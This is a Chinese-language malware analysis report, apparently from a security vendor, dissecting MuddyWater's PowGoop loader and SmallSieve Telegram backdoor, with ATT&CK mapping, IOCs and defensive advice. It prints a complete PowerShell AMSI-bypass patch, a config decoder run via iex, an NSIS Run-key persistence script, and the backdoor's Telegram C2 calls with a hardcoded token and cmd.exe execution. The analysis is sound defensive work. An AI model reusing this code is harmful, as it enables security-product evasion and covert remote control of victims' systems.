2023年2月:MuddyWater组织的恶意软件变种分析

概述

  瑞星威胁情报中心捕获到一批恶意程序样本,经分析确定这些样本出自于MuddyWater组织常用的恶意软件:PowGoopSmallSieve后门。PowGoop是一种恶意的DLL加载程序,其包括合法命名的DLL,包含加密的ShellCode的.dat文件,以及包含加密的PowerShell代码的config.txt三个组件;SmallSieve是一个由Python写的恶意后门程序。

  MuddyWater,也称为MERCURYStatic Kitten,这个攻击组织至少从2017年开始活跃,该组织的动机是盗取信息和间谍活动,经常针对美国、欧洲和亚洲国家的高价值目标开展活动,攻击对象为国防,教育,食品,游戏,政府,石油,天然气,运输等部门。

ATT&CK 矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 诱惑用户下载包含恶意程序的压缩包
TA0002-执行 T1059-命令和脚本解释器 调用PowerShell执行命令
TA0002-执行 T1059-命令和脚本解释器 执行了Python脚本内的代码
TA0002-执行 T1204-用户执行 用户运行程序就会加载恶意的DLL
TA0003-持久化 T1547-启动或登录自动执行 把自己添加到注册表Run键中实现自启动
TA0005-防御规避 T1027-混淆过的文件或信息 使用异或加Base64编码来保护字符串
TA0005-防御规避 T1036-伪装 在其路径中使用Microsoft和Outlook拼写的变体,以避免被发现
TA0005-防御规避 T1140-去混淆或解密文件和信息 使用自定义算法解密ShellCode,最后执行的PowerShell代码使用Base64编码和凯撒加密
TA0005-防御规避 T1574-劫持执行流 侧加载goopdate.dll到GoogleUpdate.exe
TA0011-指挥与控制 T1071-应用层协议 向服务器发送HTTP GET请求
TA0011-指挥与控制 T1132-数据编码 使用base64编码收发的数据
TA0011-指挥与控制 T1573-加密通道 接受加密的命令

技术分析

PowGoop

1 攻击流程

![image](https://oss.rising.com.cn/rising-threat-report/images/2024022911073358-20240229110733.png)

2 样本分析

2.1 初始样本:goopdate.dll
字段 内容
原始文件名 goopdate.dll
文件大小 88.5 KB
文件MD5 a27655d14b0aabec8db70ae08a623317
文件类型 Win32 DLL

  通过白文件GoogleUpdate.exe侧加载goopdate.dll,创建进程使用Rundll32.exe执行goopdate.dll中的导出函数DllRegisterServer

if ( v22 >= (void **)L"" || (char *)v22 + 2 * dwProcessId < (char *)L"Rundll32.exe " )
{
    v23 = 13;
}
else if ( v22 > (void **)L"Rundll32.exe " )
{
    v23 = ((char *)v22 - (char *)L"Rundll32.exe ") >> 1;
}
else
{
    v23 = 0;
}
memmove((char *)v22 + 26, v22, 2 * dwProcessId + 2);
v24 = 2 * v23;
memmove_0(v22, L"Rundll32.exe ", v24);
memmove_0((char *)v22 + v24, (const void *)(v24 + 268516374), 26 - v24);
v25 = Src;
}
v48 = 0i64;
*(_OWORD *)Block = *(_OWORD *)v25;
v48 = v25[2];
*((_DWORD *)v25 + 4) = 0;
*((_DWORD *)v25 + 5) = 7;
*(_WORD *)v25 = 0;
LOBYTE(v61) = 2;
sub_10001D00(Block, (int)v58, L",DllRegisterServer");
memset(&StartupInfo.lpTitle, 0, 32);
memset(&StartupInfo.cbReserved2, 0, 16);
if ( CreateProcessW(0, v37, 0, 0, 1, 0x10u, 0, 0, &StartupInfo, &ProcessInformation) )
{
    Sleep(0x7D0u);
    CloseHandle(ProcessInformation.hThread);
}

  获取goopdate.dat文件,把goopdate.dat中混淆的恶意数据拷贝到新申请的空间中,通过call ebx执行

LOWORD(Block[0]) = 0;
NumberOfBytesRead = 0;
v2 = sub_10001000(v16, (int)&savedregs);
sub_10001D00(v2, (int)lpFileName, L"goopdate.dat");
v3 = (const WCHAR *)lpFileName;
if ( v13 >= 8 )
    v3 = lpFileName[0];
FileW = CreateFileW(v3, 0x80000000, 0, 0, 3u, 0x80u, 0);
FileSize = GetFileSize(FileW, &FileSizeHigh);
v6 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v6, FileSize, &NumberOfBytesRead, 0) )
{
    CloseHandle(FileW);
    if ( v13 >= 8 )
    {
        v9 = (WCHAR *)lpFileName[0];
        if ( 2 * v13 + 2 >= 0x1000 )
        {
        v9 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1);
        if ( (unsigned int)((char *)lpFileName[0] - (char *)v9 - 4) > 0x1F )
            goto LABEL_30;
        }
        sub_10002244(v9);
    }
}
xor     eax, eax
mov     [esp+68h+var_14], 0
mov     [esp+68h+var_10], 7
mov     word ptr [esp+68h+var_24], ax
call    ebx
mov     ecx, [esp+68h+var_4]
pop     edi
pop     esi
pop     ebx
2.2 ShellCode分析

数据文件:goopdate.dat

字段 内容
原始文件名 goopdate.dat
文件大小 112.84 KB
文件MD5 218d4151b39e4ece13d3bf5ff4d1121b

  申请新空间,把数据拷贝到新的空间中,对数据进行自解密

v2 = sub_1BE80(a1, a1[18], a1[19], a1[10], a1[11]);// kernel32.VirtalAlloc
v31 = v2;
v3 = sub_1BE80(a1, a1[20], a1[21], a1[10], a1[11]);// Kernel32.VirtualFree
v30 = v3;
v4 = sub_1BE80(a1, a1[98], a1[99], a1[10], a1[11]);// RtlExitUserProcess
v5 = v4;
v29 = v4;
if ( !v2 || !v3 || !v4 )
    return -1;
v6 = v2(0, *a1, 12288, 4);                    // VirtualAlloc
v7 = v6;
if ( !v6 )
{
    if ( a1[140] == 2 )
        v5(0);
    return -1;
}
sub_1C2E3(v6, a1, *a1);                       // 加载goopdate.dat的数据
sub_1C307(v35, 0, 32);
if ( *(v7 + 564) != 3
|| (sub_1BFE8(v7 + 4, v7 + 20, v7 + 576, *v7 - 576), sub_1BEC3(v7 + 2032, *(v7 + 40), *(v7 + 44)) == *(v7 + 2288))// 解密数据
&& v9 == *(v7 + 2292) )

  观察解密出来的ShellCode,发现有一个内嵌的PE文件

内嵌的PE文件

字段 内容
文件大小 99 KB
文件MD5 ba66f73c17b15e8cbcab9daad3f85ed6
文件类型 EXE
病毒名 Trojan.[MuddyWater]PowGoop!1.E260

  接下来会把内嵌的PE文件拷贝到新申请的空间中,再调用call ebp执行该文件

if ( *(v3 + 4) != *(*(result + 60) + result + 4) )
    return result;
result = (*(a1 + 60))(0, *(v3 + 80) + 4096, 12288, 64);// VirtualAlloc
v5 = result;
if ( !result )
    return result;
sub_1C2E3(result, a2 + 1320, *(v3 + 84));
if ( *(v3 + 6) )
{
    v6 = 0;
    v7 = (v3 + *(v3 + 20) + 44);
    do
    {
        sub_1C2E3(&v5[*(v7 - 2)], v48 + *v7, *(v7 - 1));// 把PE文件复制到申请的空间中
        v7 += 10;
        ++v6;
    }
    while ( v6 < *(v3 + 6) );
        v2 = a1;
}
seg000:0001B9D3                 mov     eax, dword ptr fs:loc_15+3
seg000:0001B9D9                 push    dword ptr [eax+30h]
seg000:0001B9DC                 call    ebp

  通过硬编码字符串拼接出绕过AMSI的PowerShell脚本,脚本会获取AmsiScanBuffer函数地址,然后篡改函数代码头6字节,将其返回值固定为ERROR_INVALID_PARAMETER,这样注册了AMSI接口的安全产品就无法正常接收即将被执行的恶意代码,从而规避检测。

function Get-ProcAddress
{
    Param([Parameter(Position=0,Mandatory=$True)][String]$Module,[Parameter(Position=1,Mandatory=$True)][String]$Procedure)
    $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|
    Where-Object{$_.GlobalAssemblyCache-And$_.Location.Split('\')[-1].Equals('System.dll')};
    $UnsafeNativeMethods=$SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods');
    $GetModuleHandle=$UnsafeNativeMethods.GetMethod('GetModuleHandle');
    $GetProcAddress=$UnsafeNativeMethods.GetMethod('GetProcAddress',[reflection.bindingflags]"Public,Static",$null,[System.Reflection.CallingConventions]::Any,@((New-ObjectSystem.Runtime.InteropServices.HandleRef).GetType(),[string]),$null);
    $Kern32Handle=$GetModuleHandle.Invoke($null,@($Module));
    $tmpPtr=New-ObjectIntPtr;
    $HandleRef=New-ObjectSystem.Runtime.InteropServices.HandleRef($tmpPtr,$Kern32Handle);
    return$GetProcAddress.Invoke($null,@([System.Runtime.InteropServices.HandleRef]$HandleRef,$Procedure));
};
$dll="am"+"si.dll"
$med="AmsiScanBuffer"
$methodAdd=Get-ProcAddress $dll $med;
$p=0
$VirtualProtect.Invoke($methodAdd,[uint32]5,[uint32]0x40,[ref]$p);
$res=$getlasterr.Invoke();
$Patch=[Byte[]](0xB8,0x57,0x00,0x07,0x80,0xC3)
<#
    MOV EAX,0x80070057 ;ERROR_INVALID_PARAMETER
    RET
#>
[System.Runtime.InteropServices.Marshal]::Copy($Patch,0,$methodAdd,6) #拷贝Patch代码至函数头

  再通过硬编码字符串拼接出对config.txt进行解码的另一段PowerShell代码,使用命令powershell -exec bypass执行相关代码。

function bdec($in)
{
    $out = [System.Convert]::FromBase64String($in);
    return [System.Text.Encoding]::UTF8.GetString($out);
}
function bDec2($szinput)
{
    $in = [System.Text.Encoding]::UTF8.GetBytes($szinput);
    for ($i=0;$i -le $in.count -1;$i++)
    {
        $in[$i] = $in[$i] - 2;
    }
    return [System.Text.Encoding]::UTF8.GetString($in);
}
function bDd($in)
{
    $dec = bdec $in;
    $temp = bDec2 $dec;
    return $temp;
}
$a=get-content "config.txt";
$t=bDd $a;
&($ShellId[1] + 'ex')$t;
if ( (unsigned int)(HIDWORD(v30) - v30) < 0x18 )
{
    LOBYTE(v31) = 0;
    sub_522160(lpBuffer, 24, v31, (int)"powershell -exec bypass ", 0x18u);
}

  因为未能找到与当前解密方式相匹配的config.txt文件,不能更深入的对下一阶段进行分析,所以只能分析到此。

SmallSieve

1 攻击流程

image

2 样本分析

2.1 初始样本:gram_app.exe
字段 内容
原始文件名 gram_app.exe
文件大小 16.21 MB
文件MD5 15fa3b32539d7453a9a85958b77d4c95
文件类型 EXE

  gram_app.exe是一个NSIS安装程序,用户点击gram_app.exe程序后会在%AppData%\Roaming\OutlookMicrosift目录之下释放出使用PyInstaller打包的恶意后门程序index.exe,并通过传入参数Platypus来执行它。然后会在注册表中创建自启动项来实现持久化,并以Platypus作为参数。

InstType $(LSTR_37);  
Custom
InstallDir $APPDATA\OutlookMicrosift;
install_directory_auto_append = OutlookMicrosift;
wininit = $WINDIR\wininit.ini
Section ;
Section_0;
    AddSize 16859
    CreateDirectory $INSTDIR
    SetOutPath $INSTDIR
    File index.exe
    Exec "$INSTDIR\index.exe Platypus"
    WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OutlookMicrosift "$\"$INSTDIR\index.exe$\" Platypus"
SectionEnd
2.2 释放的文件:index.exe
字段 内容
原始文件名 index.exe
文件大小 16.46 MB
文件MD5 5763530f25ed0ec08fb26a30c04009f1
文件类型 EXE
病毒名 Backdoor.[MuddyWater]SmallSieve!1.E26F

  通过对index.exe进行反编译,再解出index.pyc文件中的内容,发现里面的字符串经过异或和Base64编码处理,编写脚本解码得到关键的数据。

return requests.get(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('CAU4FEZyQnEYB0ZdM0gdDUEyHxRSNBYtQiFZWg==') + L9aWuC5Zmn0sOj1kbTPFWSrB825DlfOM + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('TwIpClEFCC0KFkgWeE4ZCVIfFx1B') + LcyHZiDO08howWXxvpM2QdexF78NzbMs + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('RgEtFkYtMjMWE0pOCkwDA0IvCRdaLwEyGX4=') + Wlb0Y2FeY6m3QaTBzuvdnw7EBUm0ptlf)
return requests.get(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('https://api.telegram.org/bot') + L9aWuC5Zmn0sOj1kbTPFWSrB825DlfOM + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/sendMessage?chat_id=') + LcyHZiDO08howWXxvpM2QdexF78NzbMs + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('&parse_mode=Markdown&text=') + Wlb0Y2FeY6m3QaTBzuvdnw7EBUm0ptlf)

  后门程序会尝试还原之前初始化的会话数据文件:%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt。 如果此文件不存在,则使用Chat_ID(2090761833),Bot_ID(10000000到90000000随机值),Telegram_Token(2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY)三种硬编码值。

uh4Evft4aB4srNw8h6ZKFXWiByKpFM4E = path.expandvars(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt'))
Bot_ID  = str(random.randint(10000000, 90000000))
Chat_ID  = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('2090761833')
Telegram_Token  = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY')

  会通过Telegram Bot API(hxxps://api.telegram.org/bot)发送信标同时接收指令,信标内容包括配置的Bot ID、以及获取到的当前登录的用户名和主机的IP地址。

n92aUyav3pCDdBFcR6uQ1ej9kYlwU9MX = YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/com') + Z9k939utA5zHaTl5UOoxQv7NKWne358B + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('|') + IGYybCjrf8ZXLmfQRbgq3gRlDjpB71rP(os.getenv(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('username')) + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('/') + os.environ[YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('userdomain')] + YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('|') + socket.gethostbyname(socket.gethostname()))

  攻击者使用/start/com [BotID] [command]两种格式发送指令,其中[command]有deletedownloadchange tokendisconnect四种命令。

命令 功能
delete 退出后门,但后门仍然会开机自启
download 调用urlretrieve模块下载URL对应的文件并保存至指定路径
change token 更新令牌,并将新的令牌保存到MicrosoftWindowsOutlookDataPlus.txt文件中
disconnect 终止与Telegram的连接

  除了以上以外的任何命令都可以通过将其传递给cmd.exe /c来直接执行,并将回显内容回传

K5AGJMvZ5E7cQ5g0BXvoaeeu3bujTFlW = subprocess.Popen(YYLoUMaIVeu6phSrU0VSZL5pM6swYMzY('cmd.exe /c') + vDmKPoklRPYbNDd7AVJy0z3kQjggmplB, True, B0M52RqNcKuAjqd055FURnps8jebRJtM, B0M52RqNcKuAjqd055FURnps8jebRJtM, B0M52RqNcKuAjqd055FURnps8jebRJtM)

关联样本

关联样本基本信息:libpcre2-8-0.dll

字段 内容
原始文件名 libpcre2-8-0.dll
文件大小 94.50 KB
文件MD5 860f5c2345e8f5c268c9746337ade8b7
文件类型 DLL

  goopdate.dll和此前于2022-01-12捕获到的libpcre2-8-0.dll进行对比,其攻击手法具有很高的相似性。导出函数中的代码一样:

下面是goopdate.dll的代码:

sub_10001D00(v2, (int)lpFileName, L"goopdate.dat");
v3 = (const WCHAR *)lpFileName;
if ( v13 >= 8 )
    v3 = lpFileName[0];
FileW = CreateFileW(v3, 0x80000000, 0, 0, 3u, 0x80u, 0);
if ( FileW == (HANDLE)-1 )
{
    if ( v13 < 8 )
    {
    LABEL_14:
        v6 = 0;
        goto LABEL_24;
    }
    v5 = (WCHAR *)lpFileName[0];
    if ( 2 * v13 + 2 < 0x1000
        || (v5 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1), (unsigned int)((char *)lpFileName[0] - (char *)v5 - 4) <= 0x1F) )
    {
        sub_10002244(v5);
        goto LABEL_14;
    }
    LABEL_30:
    _invalid_parameter_noinfo_noreturn();
}
FileSize = GetFileSize(FileW, &FileSizeHigh);
v6 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v6, FileSize, &NumberOfBytesRead, 0) )
{
    CloseHandle(FileW);
    if ( v13 >= 8 )
    {
        v9 = (WCHAR *)lpFileName[0];
        if ( 2 * v13 + 2 >= 0x1000 )
        {
        v9 = (WCHAR *)*((_DWORD *)lpFileName[0] - 1);
        if ( (unsigned int)((char *)lpFileName[0] - (char *)v9 - 4) > 0x1F )
            goto LABEL_30;
        }
        sub_10002244(v9);
    }
}

下面是libpcre2-8-0.dll的代码:

sub_10001E60(L"Core.dat");
v2 = (const WCHAR *)lpFileName;
if ( v10 >= 8 )
v2 = lpFileName[0];
FileW = CreateFileW(v2, 0x80000000, 0, 0, 3u, 0x80u, 0);
if ( FileW == (HANDLE)-1 )
{
    if ( v10 < 8 )
    {
    LABEL_14:
        v5 = 0;
        goto LABEL_24;
    }
    v4 = lpFileName[0];
    if ( 2 * v10 + 2 < 0x1000
        || (v4 = (LPCWSTR)*((_DWORD *)lpFileName[0] - 1), (unsigned int)((char *)lpFileName[0] - (char *)v4 - 4) <= 0x1F) )
    {
        sub_10002330(v4);
        goto LABEL_14;
    }
    LABEL_30:
    sub_10005C87(v4);
}
FileSize = GetFileSize(FileW, &FileSizeHigh);
v5 = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
if ( ReadFile(FileW, v5, FileSize, &NumberOfBytesRead, 0) )
{
    CloseHandle(FileW);
    if ( v10 >= 8 )
    {
        v4 = lpFileName[0];
        if ( 2 * v10 + 2 >= 0x1000 )
        {
        v4 = (LPCWSTR)*((_DWORD *)lpFileName[0] - 1);
        if ( (unsigned int)((char *)lpFileName[0] - (char *)v4 - 4) > 0x1F )
            goto LABEL_30;
        }
        sub_10002330(v4);
    }
}

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5
    a27655d14b0aabec8db70ae08a623317
    218d4151b39e4ece13d3bf5ff4d1121b
    ba66f73c17b15e8cbcab9daad3f85ed6
    15fa3b32539d7453a9a85958b77d4c95
    5763530f25ed0ec08fb26a30c04009f1
    860f5c2345e8f5c268c9746337ade8b7

参考链接

Author